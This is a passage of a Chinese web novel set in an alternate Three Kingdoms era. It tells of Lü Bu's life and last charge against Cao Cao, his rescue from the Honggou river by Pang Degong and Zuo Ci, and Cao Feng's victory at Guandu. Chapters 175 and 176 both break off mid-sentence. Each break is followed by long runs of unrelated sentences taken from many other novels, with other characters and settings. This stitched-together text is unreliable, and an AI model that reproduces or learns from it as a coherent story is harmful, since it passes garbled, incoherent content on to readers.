那个曾经令天下闻风丧胆的天下第一武将,此刻真正回来了! 箭矢插在吕布的肩头、后背、大腿,有些甚至穿透了铠甲,但他仿佛感觉不到疼痛,眼中只有前方那个目标——曹贼! 奉先,为先锋而奉主! 这一次,他的主公就是他自己。 他为自己而战,为自己冲锋陷阵! 在冲杀的时候,他脑海中回想起了自己的这一生。 …… 我叫吕布,字奉先,出生在并州五原郡九原县的一个武将世家。家族世代习武,从我记事起,父亲就教导我:“吕家男儿,当以武立世。” 五岁开始,我每天天不亮就要起床练武。 长矛、大刀、长戈、棍棒,样样都要精通,但我最擅长大槊。 父亲说:“真正的武将,不能只会一种兵器。” 寒冬腊月,我的手掌冻裂出血。 盛夏酷暑,汗水浸透衣衫。 但我从不叫苦,因为我知道,这是成为强者的必经之路。 十岁那年,家里来了一位白发苍苍的老者,大家都尊称他为“左师”,说他是得道高人。 只有我觉得这老头装神弄鬼,世上哪有什么神仙?! 就算真有神仙,在我的大槊面前,也得低眉! 但这老头确实有些门道。 有一次我抱怨自己的兵器还不够趁手,他盯着我看了很久,然后说:“你这样的猛将,需要一件配得上你的兵器。” 三天后,他亲手给我打造了一件神兵——方天画戟! 这戟通体寒光闪闪,戟刃锋利无比,重量恰到好处,就像是为我量身定做的一般。 兵器做成那天,老头就要离开。 临走时,他神秘地对我说:“他日有难,往鸿沟处便是。” 鸿沟? 那是靠近官渡的运河,离并州远着呢。 我当时不以为意,继续沉迷于武艺的磨练。 十二岁那年秋天,一次寻常的外出打猎改变了我的一生。 当我满载猎物回到九原县时,看到的却是冲天火光和被鲜血染红的街道。 我的家没了,父母、兄弟姐妹都死在了胡人的刀下。 那一刻,我的世界崩塌了。 没有哭泣,没有呐喊,我只是默默擦干净方天画戟上的灰尘,头也不回地出了城,向着北方胡人的领地进发。 三个月后,草原上流传着一个可怕的传说: 一个手持画戟的少年,单枪匹马屠灭了许多胡人部落。 没有人知道,那个浑身浴血的少年就是我。 当我站在部落首领的帐篷前,看着最后一个仇人倒下时,突然感到一阵迷茫。 报仇之后,我彻底迷失了。 家人不在了,我就像一具行尸走肉,整日在草原上游荡。白天与狼群为伴,夜晚与星辰对话。 我开始不断问自己:活着到底是为了什么? 带着这个问题,我在草原上疯狂屠杀胡人。一方面是为了发泄仇恨,另一方面是想用杀戮来麻痹自己。 我的骑射技艺越发精湛,臂力也越来越惊人。方天画戟所到之处,胡人闻风丧胆。 渐渐地,边关将士们给了我一个称号—— 飞将! 并州刺史丁原多次派人来招揽我,开出的条件一次比一次优厚。但我始终拒绝,因为我吕布从不甘居人下。 奇怪的是,丁原却到处宣扬我已经是他的部下,还给我安了个主簿的虚职。 直到在一次剿匪行动中,我遇到了丁原本人。 他看着我的眼睛说:“奉先,让我给你一个家吧,做我的义子如何?” 那一刻,我冰冷的心似乎被什么触动了。 然而好景不长。 一次偶然的机会,我听到丁原酒后吐真言:“吕布不过是我手里的一把刀,义子也就是个名分。不过,我是真欣赏他的勇武。可惜啊,他不姓丁。” 这句话像一盆冷水浇醒了我。 后来丁原受何进征召进京,我作为他的精锐骑兵统领随行。 何进死后,董卓入主洛阳,看中了我的武力。 他送来赤兔马、金银珠宝,还许诺封我为骑都尉、中郎将、都亭侯。 说实话,金银我不稀罕,但那匹赤兔马确实让我心动。 更重要的是,我开始对权力产生了渴望。 同乡李肃劝我说:“奉先,良禽择木而栖,董太师才是你真正的义父!” 于是我做了一个决定:杀了丁原,投靠董卓。 我想,董卓舍得把赤兔马给我,应该是真心待我,真心当我为义子。 有了新靠山,有了权力,我以为终于找到了归宿。 董卓确实给了我很多,但他性格暴戾,动辄打骂。 这些我都能忍。毕竟他是我的义父,给了我许多,也给了我一个归宿。能让我的妻女不必再跟着我颠沛流离,也不用时刻担心性命之忧。 为了报答义父,我在虎牢关前,硬刚红脸大汉和环眼贼。 后来让我无法忍受的是,他竟然抢走了我心爱的貂蝉! 哪有爹和儿子抢媳妇的? 这一刻我明白了,在董卓眼里,我和丁原时期没什么两样,都只是他争霸的工具。 在王允的劝说下,我的方天画戟再次沾染“义父”的血。 杀了董卓后,我受封奋武将军、温侯,与王允共掌朝政。 “温侯”这个封号我很喜欢,比“飞将”听起来尊贵多了。 可惜好景又不长。 李傕、郭汜反攻长安,我兵败逃亡。 第172章 曹洪:老骥伏枥志在千里!跑,就完了! 虽然一度占领了曹操的濮阳,但最终还是难逃失败的命运。 我不明白,为什么我吕布空有一身武艺,却总是功败垂成? 我又开始不断问自己:我吕布到底为什么活着? 难道就是为了承受失败吗?! 下邳城破前夕,我送走了女儿吕玲绮。 看着她泪流满面地离去,我突然明白过来,自己为什么而活着。 我这辈子都在拼命修补九原县那个早已支离破碎的家,却不知道真正的家就在身边,结果反倒被我自己亲手毁了! 权力和美色蒙蔽了我的双眼。 被曹操俘虏后,我卑躬屈膝地求饶的样子,连自己都觉得恶心。高顺和张辽看我的眼神里充满了失望和鄙夷,但我必须活着,因为死了就什么都没了。 我只有活着,家才在。 曹操没有杀我,反而让郭嘉暗中把我关进了大牢。 阴暗潮湿的地牢里,老鼠在我脚边窜来窜去。狱卒们投来轻蔑的目光:天下第一的吕奉先,居然落到这种下场! 这些我都不在乎。身为父亲,我只想再见女儿一面。 可当听说玲儿遇害的消息时,我彻底崩溃了!但很快…… 我又回到了原点——我要为家人报仇!就像当年屠戮胡人一样! 在牢中的日子,我日夜磨练武艺。 我这才发现,多年的权谋争斗让我的武艺退步不少。 我的手臂不再像从前那样有力,步伐也不如当年灵活。 于是我重新找回当年的状态,每一招每一式都反复练习,直到肌肉记住每一个动作。在这种沉寂之中,我的武艺甚至有了突破。 这一练,这一等,便是好多年。 牢房的墙壁上刻满了计数用的划痕,记录着我被囚禁的日子。 而今天,我终于等到了这个机会! 在战场上,我见到了杀害女儿的凶手——曹风。 可令我没想到的是,玲儿突然出现了。她没死! 原来曹操骗了我。而和我交手的曹风,竟然是我的女婿。 玲儿怀着的孩子,是我的外孙。 这一刻,我终于明白自己为什么而活。 想通这一点后,我反而不怕死了! ………… “曹孟德,纳命来!”吕布嘴角最后的一丝笑意随着血丝一起消失,转而化作震怒。 曹操看着那成了血人的吕布,眼中充满了惊恐。他踉跄着后退了几步。 “哎呀!”曹操双手抱着头,险些晕倒。 在如此惊吓之下,他的老毛病又犯了,头痛得让他直不起腰来。 曹仁、夏侯惇、乐进等人急忙率领兵马去阻拦吕布。 而曹洪则是背起曹操,拔腿就跑! 他又干起了老本行,成了曹操所有坐骑里的mvp! 曹洪此时欲哭无泪。 他一边跑一边喘着粗气,心中埋怨道:“孟德啊,你实在让人太不省心!我都这把年纪了,老胳膊老腿儿的,还得背着你逃命!” “我严重怀疑你那句‘老骥伏枥志在千里''是写给我的!我这把老骨头都快散架了!” 司马懿也懵了,他明明算计得很精细! 这么多箭矢都射不死吕布! 他站在高处,看着吕布在千军万马中左冲右突,简直不敢相信自己的眼睛。 等他反应过来时,发现曹洪已经背起曹操一溜烟跑了! 司马懿拔腿就跑! 他此时十分震惊于曹洪的速度,这个平时看着不起眼的将领,跑起来居然能跟马赛跑!还真是曹操的福将! 司马懿现在真想问问曹洪——还能不能再背一个人?干脆连他司马懿也一起带上! 曹植没有随着曹操一起逃跑,而是跳着向曹风招手:“三哥,三哥,这里!救我!我也投了!” 曹风让马云禄替自己照顾好吕玲绮,自己则率大军冲杀,想要救出吕布。 “全军冲锋!”曹风向前方挥动五虎断魂枪,大吼道,“给我压上去!” “救吕奉先者,封万户侯!” 随着曹风的一声令下,万马奔腾,黑压压的骑兵有序地向曹操阵地冲杀过去。 马蹄声震耳欲聋,大地都在颤抖。 面对这些骑兵,还在向曹风招手的曹植彻底傻眼了。 尤其是徐晃的铁浮屠,如钢铁洪流一般向他冲来。 那些重甲骑兵连人带马都包裹在铁甲之中,就像一堵移动的铁墙。 曹植此时再跑已经来不及了,望着曹操布置在阵地最前沿的部队瞬间崩溃,曹植知道自己今天死定了! 曹植此时很想作诗一首,作为送给自己的诀别诗。他脑海中闪过许多诗句,却怎么也凑不成完整的一首。 就在这时,一道身影在铁浮屠之前率先向曹植冲来。 看清那张日思夜想的帅气面庞时,曹植激动不已。他知道,自己死不了了!他那无所不能的三哥,骑着白马来救自己了! “战场发愣,找死吗!”曹风毫不客气地呵斥曹植。 随后,曹风一手将曹植提了起来,甩在自己身后的马位上。 “黑子”似乎对曹植出现在自己的马背上很不开心,不停地甩动尾巴,扇了曹植好几个大嘴巴子。 曹植被马尾巴抽得生疼,却一声不敢吭。他清楚曹风这匹马机灵得很,要是得罪了它,说不定真会把自己甩下马背。 即便前面有阻拦的人马,但黑子也将身后的铁浮屠甩在后面。这匹神驹的速度快得惊人,四蹄翻飞间就冲出了数十丈远。 曹风在人海中一边厮杀,一边不停地寻找吕布的身影。 此时的吕布,早已杀穿了曹操的阵地,正追赶着曹洪。 曹洪背着曹操,直奔鸿沟(汴水)而去。那里有提前备好的船。只要渡过鸿沟,就安全了。那里有于禁率领的守军。 曹洪跑得气喘吁吁,汗水浸透了衣衫,但他不敢停下,因为吕布的怒吼声就在身后不远处。 吕布一直追到鸿沟,却见曹洪已经带着曹操渡河了。 河水湍急,船只已经驶离岸边数丈远。 已经快要燃尽了的吕布,也咬牙登上一艘船只。 可船行驶在河面的时候,吕布发现船只漏水。河水从船底的缝隙中汩汩涌入,很快就漫过了脚踝。 吕布望着距离自己越来越远的曹洪,一口鲜血从口中喷出,身体摇摇晃晃。 他知道,自己伤势太重,已经油尽灯枯。 今天怕是要葬身在这水下了。 此时,他却听见曹洪侥幸逃生后的大笑:“吕奉先,鸿沟便是你的葬身之地!” 第173章 庞德公:看老夫钓上来一个吕奉先! 吕布用那杆陪他征战多年的方天画戟,死死撑住自己摇摇欲坠的身体。 锋利的戟刃深深扎进船板,整艘船因此加速下沉。 他吕奉先,堂堂九原虓虎! 就算是死,也绝不能倒下! 鲜血从数十几处伤口不断涌出。 吕布咬紧牙关,强忍着全身伤口传来的剧痛,硬是挺直了腰板。 冰冷的河水已经漫到了膝盖位置。 吕布感觉自己的眼皮越来越重,像是灌了铅一样。 视线也开始变得模糊。 耳边的厮杀声、水流声渐渐远去…… 取而代之的是一种很熟悉的宁静。 这种宁静,已经几十年没有出现过了。 这感觉像极了他小时候,杀累了,便独自躺在草原上,安静地望着天上的星星。 就在这时,他仿佛看见女儿吕玲绮出现在眼前。 从蹒跚学步的幼童到亭亭玉立的少女,一幕幕回忆如走马灯般闪过: “阿爹,抱抱!”三岁的玲儿迈着不稳的步子,张开肉嘟嘟的小手向他跑来。阳光照在她红扑扑的小脸上,那双明亮的眼睛里盛满了对父亲的依恋。 “阿爹,教我练武!”七岁的玲儿举着专门给她做的小木枪,一板一眼地比划着招式。她那副认真的模样逗得吕布直笑。不愧是自己的孩子,虽不是儿子,可对武术的痴迷劲儿一点不差! “阿爹送的铠甲,玲儿好喜欢!”十二岁的玲儿穿着吕布命人精心打造的小号铠甲,在院子里欢快地跑来跑去。 “父亲,玲儿长大了,才不要你抱!”十五岁的玲儿已经出落得亭亭玉立,她红着脸推开自己想要拥抱的手臂。女儿,长大了啊! “吕奉先,你为何因为那貂蝉,而冷落了我和母亲!”玲儿愤怒的质问犹在耳边。那是她第一次直呼父亲的名讳,眼中的失望和伤心让吕布至今想起都心如刀绞。 “父亲,我不走!玲儿要和你并肩作战!”下邳城破时,玲儿倔强地要留下来与他同生共死。 “阿爹,曹风是我的夫君。我有了身孕。神医华佗给看过,说是个男孩儿。”最后一次见面时,玲儿脸上洋溢着幸福的笑容。 那一刻,吕布才猛然发觉,女儿快要做母亲了,而自己竟成了外公。他能传给她们的,唯有这方天画戟的武艺。 吕布下意识地想要伸手,像从前那样揉揉女儿的发顶。 可手臂刚抬起就牵动了胸前的伤口,剧烈的疼痛让他猛然清醒。眼前哪有什么玲儿,只有越涨越高的河水,和越来越深的黑暗。 他露出这一生最温柔的笑容,轻声道:“玲儿,爹对不起你……父亲不能再护着你了……” "以后……别再那么调皮任性……要好好照顾自己……” 他顿了顿,用尽最后的力气喃喃道:“曹风!你要是敢对我女儿不好……我吕奉先做鬼……也不会放过你!” 吕布最后的意识,是冰冷的河水漫过脖颈的感觉。 沉重的铠甲拖着他不断下沉,方天画戟依然紧握在手。 恍惚间,他似乎看见水面上有银光闪过,但很快就陷入了永恒的黑暗。 不知为何,临死前…… 他突然想起多年前左慈那句莫名其妙的话:“他日有难,往鸿沟去。” 水下。 吕布想笑,可一张嘴就灌满了浑浊的河水。 来了鸿沟,也许只是巧合。 世上果然没有什么神仙! 若是有,左老头儿,你人呢? 水面上方,一艘造型奇特的小船静静漂浮。 “庞道友,再不出手,吕布就要死了。那恶龙之气就要散了!” 左慈站在船尾,白须飘飘,语气中带着几分急切。 庞德公站在船头,依旧是一副笑呵呵的模样:“左道友莫急,看老夫如何将他钓上来!” 说着,他手腕一抖,那根曾在曹风里眼里看似普通的鱼竿,便划出一道优美的弧线,鱼钩没入水中。 庞德公突然轻喝一声:“起!” 只见他原本看似枯瘦的手臂,突然隆起。 鱼竿弯成满月,一个庞大的黑影顿时被鱼钩勾了上来。 庞德公看都不看,随手一甩,那黑影便朝着正在看热闹的左慈砸去。 左慈不慌不忙,笑着摇头:“你这老家伙,几十年了还是这么爱胡闹。” 说话间,那黑影已近在咫尺。 黑影眼看就要落下,砸在左慈身上的时候。 一个靓丽的身影突然闪出,挡在左慈身前。 只见她修长的玉腿一抬,精准地踢在黑影腰间,将其踹落在甲板上。 定睛一看,正是昏迷不醒的吕布。 “张丫头,你这脚法倒是越发精进了。”左慈捋须笑道。 张嫣面无表情地瞥了眼地上的吕布,随即嫌恶地皱起眉头。 除了曹风,她向来不喜欢与任何人有接触。 若不是顾及吕布性命,她一定会用船桨而不是自己的脚。 只见她快步走到船舱边,取出一块上好的丝绸,仔细擦拭着方才踹过吕布的那只布鞋。 那专注的模样,仿佛鞋上沾了什么致命的毒物一般。 庞德公蹲下身,饶有兴趣地打量着昏迷的吕布:“别说,这小家伙还挺沉!险些扯断我的鱼线。” 庞德公晃了晃手中的鱼竿,笑道:“好在这鱼竿不是用来钓鱼的,专勾你们这些身负龙气的人和物。” “都快死了还紧握着兵器不放。”左慈试着掰开吕布的手指,却发现那双手如同铁铸一般,纹丝不动。 左慈蹲下身子,用拂尘在吕布手腕一点。 吕布的手瞬间就松了开。 那把左慈亲手打造的方天画戟,时隔多年,终于又回到了锻造者的手中。 左慈手腕用力一抖,方天画戟便朝张嫣飞去:“徒儿,仔细看看这戟,” “可看出什么不同?对你修行应当有所助益。” “左道友收了个好徒弟啊。”庞德公目光在张嫣身上停留片刻,语气中带着明显的羡慕。 左慈指了指甲板上的吕布,半开玩笑地说:“要不你收他为徒?我看这小子根骨不错。恶龙之气一除,倒也是个人物。” 庞德公闻言,脸上立刻露出嫌弃的表情:“他可不配。” 顿了顿,他又若有所思地补充道:“倒是那个曹风……确实能做我徒弟。” 左慈笑着摇头:“你没这个福分。卧龙命格尚可承受,真龙之运却非你能担。如今你与那卧龙结下因果,只怕他临终之时都要念着你的名字。” 第174章 徐荣三气夏侯惇 官渡。 曹风纵马在战场上疾驰,一边杀敌,目光同时不断扫过每一个角落。他必须找到吕布——活要见人,死要见尸。 他身后横搭着的曹植,已被马背颠得神志不清,喃喃道。 “好想吟诗一首……” “但又不知,该从何说起……” 不远处,曹仁正盯着疾驰中的曹风,和他身后的曹植。 他并不知道曹植已经主动投降,还以为是被曹风俘虏了。 想到曹操曾私下对宗族重要将领们暗示: 曹植最有可能继承王位。 曹仁就更加不安。 “绝不能让子建被带走!”曹仁一夹马腹,朝着曹风疾驰而去。 在距离曹风十余步时,曹仁勒住战马,横刀立马拦住去路。 他没有立即动手,而是高声喊道:“曹风侄子,放下子建!” 曹风此刻心急如焚。 以吕布如今那伤势,若不尽快找到,很有可能直接嘎了。就算是华佗和李儒再厉害,也不能救活一个真死人。 他哪有心思理会曹仁? “叔父快让开!”曹风声音沙哑,“我儿子没了爷爷,我不想让他再没了外公!” 曹仁哪里肯让道,当即挥刀砍去。 不过这一刀他故意偏了几分,避开了要害部位。 然而根本不需要曹风出手,一杆银枪如蛟龙出海,精准地架住了曹仁的大刀。 “敌将休要阻拦我师叔!常山赵子龙在此!” 曹仁顿时脸色大变。 常山赵子龙?! 当年长坂坡一战,曹仁也在。 他亲眼目睹赵云在万军丛中七进七出的勇武,至今想起仍心有余悸。 曹仁这才仔细打量了一眼赵云,心中恍然大悟:难怪开战时觉得眼熟,原来真是常山赵子龙! 可他什么时候成了曹风麾下? 还称呼曹风为师叔? 没看过天幕的曹仁自然不知道,曹风与赵云之间的渊源。就在他分神之际,赵云已经使出了成名绝技——七探蛇盘枪! 只见银枪如灵蛇出洞,从不同角度袭向曹仁。 曹仁慌忙举刀相迎,虽然他也是曹操麾下有数的猛将,但面对赵云的绝技,还是难以招架。 三十余回合后,随着“铛”的一声脆响,曹仁手中大刀被赵云一枪挑飞。 正当曹仁想要撤退时,忽然发觉四周早已被白马骑兵团团围住。寒光闪闪的长枪齐齐对准了他,退路已断。 性格刚烈的曹仁拔出佩剑就要自刎,却被赵云眼疾手快,一枪挑飞了长剑。 …… 另一边,夏侯惇与徐荣的战斗也进入了白热化。 夏侯惇虽然勇猛,但在经验老道的徐荣面前还是渐渐落了下风。就在夏侯惇准备以命相搏时,一支冷箭突然射中他的肩膀。 “啊!”夏侯惇痛呼一声,险些跌落马下。 徐荣抓住机会,用刀背猛击夏侯惇后背,将其生擒活捉。 得手后的徐荣却没有丝毫喜色,反而转头怒骂道:“曹性!你个臭小子!欠揍了是吧?老夫最讨厌别人放冷箭!” 不远处,曹性讪讪地收起长弓,挠头解释道:“我见老帅您只睁着一只眼,还以为受伤了……” “放你娘的屁!”徐荣气得胡子都翘了起来,立刻睁开原本闭着的右眼,“我这是让着夏侯一眼!” 曹性闻言,忍不住咧嘴笑了。 这简直是杀人诛心啊!还得是老帅会玩! 果然,被刀背拍得晕头转向的夏侯惇听到这话,顿时暴跳如雷。 “徐荣老贼!我要撕烂你的嘴!” 随着曹操麾下众将被一一擒获,曹军开始全面溃败。 这场决定中原命运的官渡大战,终于接近尾声。 ...... 中军大帐内,吕玲绮挺着微微隆起的肚子,焦急地来回踱步。见曹风掀帐而入,她立刻迎上去:“夫君,可有我父亲的消息?” 曹风刚听完各部的搜索汇报,摇了摇头:“目前还没找到。不过没有找到尸体,也不算坏事。” 吕玲绮明白丈夫的言外之意,强忍泪水点了点头。 杜芷温柔地扶住吕玲绮的手臂:“妹妹先回去休息吧,你现在最要紧的是养好身子。” “若是伤到腹中胎儿,吕将军知道了也会心疼的。” 待杜芷搀扶着吕玲绮离开后,被俘的曹军将领开始陆续被押解到大帐,等候曹风发落。 第一个被押进来的是夏侯惇。 这位独眼将军虽然被五花大绑,却依然昂首挺胸,用仅剩的那只眼睛恶狠狠地瞪着曹风:“曹风!要杀要剐悉听尊便!正好下去陪妙才!你这畜生,竟然杀害自己的亲叔伯!” 帐中诸将闻言都面露怒色。 其他人顾及夏侯惇毕竟是曹风的长辈,只是怒目而视,没有出言不逊。 唯有徐荣不吃这套,冷笑道:“夏侯惇,你哪只眼睛看见公子杀夏侯渊了?” 顿了顿,徐荣又故意补充道:“哦对,我倒是忘了你就剩一只眼了。” 这番话引得帐内众人哄堂大笑。 夏侯惇气得满脸通红,正要破口大骂,突然听到角落里传来一个懒洋洋的声音:“我给公子作证,夏侯渊确实还活着。公子根本没杀他。” 夏侯惇这才发现,大帐隐蔽的角落里竟还躺着个人,正悠闲地晃着摇椅。 之前他的注意力全在曹风身上,根本没发现那里还有人。 待看清说话之人的面容后,夏侯惇不敢置信地眨了眨独眼。 “你……你是郭奉孝?!你不是已经……已经……” 郭嘉慢悠悠地坐起身,“元让,别来无恙啊。” “啊呀!”夏侯惇惊得倒退两步,“真是见鬼了!” 曹风此刻正为吕布的事心烦意乱,加上与夏侯惇本就关系不睦,便对甄何吩咐道:“找几个可靠的人,送他去汉中和妙才伯父团聚。别在这儿吵吵嚷嚷的。” 下一个被押进来的是曹仁。 与夏侯惇的待遇截然不同,曹风亲自上前为他松绑。 这不仅仅因为曹仁是长辈。 曹仁的儿子曹泰是曹风的死忠追随者,而曹仁的妻子张氏更是与曹风母亲韦婉情同姐妹。 韦婉去世后,张氏悲痛欲绝,连续多日以泪洗面,茶饭不思。更难得的是,张氏待曹风比亲生儿子曹泰还要亲厚。 除此之外,在曹操诸多子嗣中,除了长子曹昂,曹仁对其他人都一视同仁。 他从不会因为别人的闲言碎语而对曹风另眼相待。 因为这些缘故,曹风对曹仁一直保持着些许敬重。 第175章 郭嘉:曹仁,放下我的酒葫芦! 曹风快步上前,稳稳扶住曹仁的手臂,带他走向主位。他的动作自然恭敬,微微低头说道:“叔父,您请上座。” 曹仁内心的情绪很复杂。 作为沙场老将,曹仁行事向来果断。但此刻,他却陷入了矛盾。 一方面,他不忍拒绝侄儿的诚意。 另一方面,他不仅是曹操的堂兄,更是曹操的将领。如今曹操与曹风势同水火,曹仁绝不能背叛曹操。 我一个败军之将,哪有资格上 究竟是什么导致了突然的变故?老萧头想要探知在人影分叉之前的一幕,可是无论他如何去感知,得到的始终还是处于分叉中的画面。 陈枫又看了看跟在洪灵儿身旁的李江。为了追随洪灵儿,李江连自己的师门都放弃了。当年,陈枫可是差点死在李江的拳下,如今却已经成为他的前辈了。 载着绿光的恐怖身影宛若漆黑的陨石从天而降,将坚硬如铁的地面砸出狰狞的大坑,周围惊怒交加的黑暗萝格们只瞧见一道高大的身影缓缓走下,踩在龟裂的地面,身上的淡绿色的魔物微微闪烁。 既然是好友,对他们的话当然是十分相信的,但他们也有自身的考虑在内,权衡过后,有一半选择了退出,他们风险大于收益,翻倍的收获和翻倍的代价,他们倾向与保守。 然而下一幕更加惊人,那黑色的丝线开始慢慢的进入蓝衣少年体内,度出奇,眨眼即逝。 “哎,到了这番天地,我们已经没有必要争斗了。你先看看我们所处的环境吧!”黑衣人的话有点怅然若失的感觉。 那些黑色物质是刚刚那阵狂风带来的,也是熄灭火焰的根本原因所在。 不曾想到,两日后赵似再次出现在他面前。此时,赵似身上伤势并未好转,脸色苍白。那个时候,唐慎微也不知他身份,更不知他名讳,还以为他再次前来是为了自己身上的伤势,就让他稍等片刻。 最外围集中力量最的十座神圣高塔,都被凶妖灵大军毁灭,数十名冠军只有寥寥几人勉强逃出,其他人则全部壮烈牺牲。 看到赤磷蜈蚣和金鳞蛇斗在一起,陈枫和冯渊想要助其一臂之力,冷峰却做出手势,让二人静观其变。 “等我男神打电话,电话来了我立马就回去。”念悠然说着心底又是一阵焦躁。 蓝无忧再次回到工作台,苏莫也接着完成自己手头上的工作,直到他的电话铃声响起,他才从工作状态中抽离。 十种组合,仍然摆在桌子上,被孔永年和几名材料导师用狂热的目光盯着。 “人不是他伤的。”乔芷颜急忙辩解,的确,那时候的牧染因为母亲的离去哭的撕心裂肺,哪有时间伤人,伤人的是她。 蓝无忧就是不想被季维骁控制,才奋力甩开他,此时再次被对方抓住,她动作的幅度丝毫不减。 或许,这便是他们的出路?或许是死路,但也有一线生机不是吗? 换做以前,季松泉肯定会问问他去干什么,甚至有可能考虑到安全方面的问题,拒绝他的要求。 “二少骂过我,我心怀怨恨,鬼迷心窍想报复他。”男人红着眼眶回,心如死灰。 “白痴!噗!”战天挥出手中软剑,随后顺手接过了那腥红如血的日本刀,随后消失在了走廊尽头。 “言飞扬,进来,外面干什么呢?”还没等他再惭愧一点,申屠浩龙就把他叫了进去。 一中双魔龙听见我无力反抗,说话还这么目中无人,气得想要动手再狠狠教训我一番。不等他们动手,那个慕容坤就走上前来。 第176章 卧底陈宫发力,忽悠来了张松 南方,孙权已经收到兄长孙策的来信,邀他在会稽会面。 荆州方面,刘备占领全境只是时间问题,但他能否站稳脚跟,还要看孙权和吕蒙是否有骚操作。 与此同时,刘备正听从诸葛亮和庞统的建议,暗中谋划益州。 益州方面,刘璋听闻汉中张鲁已与曹风结盟,担心张鲁会南下攻蜀,便采纳法正的建议,打算迎刘备入蜀共抗张鲁。 就在这个节骨眼上,曹风安插在益州的卧底陈宫开始发 苏杰勃然大怒,他毫不犹豫的运转青木炼血法,催动自身已经蜕变过一次的气血。 这么low的把戏现在还有人在用,看来这个陈婷婷也是穷途末路了。 虬首仙见对方来势汹汹,惊异的望了片刻,显然情况有些出乎预料,他没有想到沉信竟如此吸引仇恨,赶忙以手中剑急架相还。 一连串的炸裂声,一个个林家长老的身体被一股巨力轰击的倒飞,身体都四分五裂,真正的血肉横飞。 在墨鸦离轻舞还有一步之遥的时候,轻舞邹然出手,转动手中的簪子,向墨鸦袭去。 好消息是庄旭抱住了金属架——尽管只有短短一两秒,但还是将彼此的速度差和运动轨迹稍微抹平了一些。 而蒙恬则是紧紧的拉住珞樱芸,然后用力将其带入怀中,死死的护住珞樱芸,提珞樱芸挡住一些掉下来的石块,不让珞樱芸受到一丝伤害,珞樱芸看着将自己护住的蒙恬,忽然发现,其实,他,还是蛮帅的。 通天教主做出这一决定也是经过了深思熟虑的,做出这个决定好处多多。 因为林游在虚拟实境这个版本中,大大提高了地图的范围,所以这一下午也没有人能玩到最后。 而另一边,许春娘和沈妙菱下山后,没有再回金光城坊市,而是朝着相反的方向翻山越岭。 杏儿一边说,一边将那些衣物接了过去,避免了他进一步的尴尬。 夜稀巡被他说的脸色一阵青一阵白,该死的,他真的有未婚妻了!为什么会这样?他恨死未婚妻这个词了。 “我们,除了你,还有谁?”夜倾城微微皱了一下眉头,出声询问道。 荣允一口气直冲到了皇宫里的密道中,进入密室,果然见雅兰正坐在桌前,似乎料定他一定会来一样。 整个黑暗的世界崩溃,破碎,有无数的光柱从天而降,其中最明亮的一道,照耀在紫凝的身上,安抚他,让他从魔化状态回复到正常的模样。 为什么说是镶嵌,因为那些手枪弹无一例外,统统像是被一面看不见的气墙挡住一样,凌空飘浮在空中。 “回去吧。”殷络轩只能说道,说话的时候狠狠的瞪了慕容银珠一眼。 道别完了之后,便是容华醉冒充的周礼带着慕容银珠去所谓的寝房那边。 “恩,我爸明天来接我,有谁要搭顺风车吗?”许灵此刻还是在对着美甲不离不弃着,就连说话也是不抬头,不皱眉,略显高贵气。 而这部分学生有的则是想到,李恒这个“怪物”,都选择了5号房,他们有什么资格选择在李恒之前。 无量尺越来越大,无量天仙将之拍打而下,直接朝着那拳头拍了下去。 原地“啪”的一声,静静的掉落下来极恶之兴被横着斩断的半条胳膊。绿色的黏液顺着切口哗哗流淌,腐蚀的焦黑的地面上哧哧的冒起白烟。 对于他们而言,聂宇和朱雨霖可谓他们唯一的“救命稻草!”只要聂宇呆在他们身边,众人就有一种“底气”在!只要有这依仗,众人就有活下去的信心。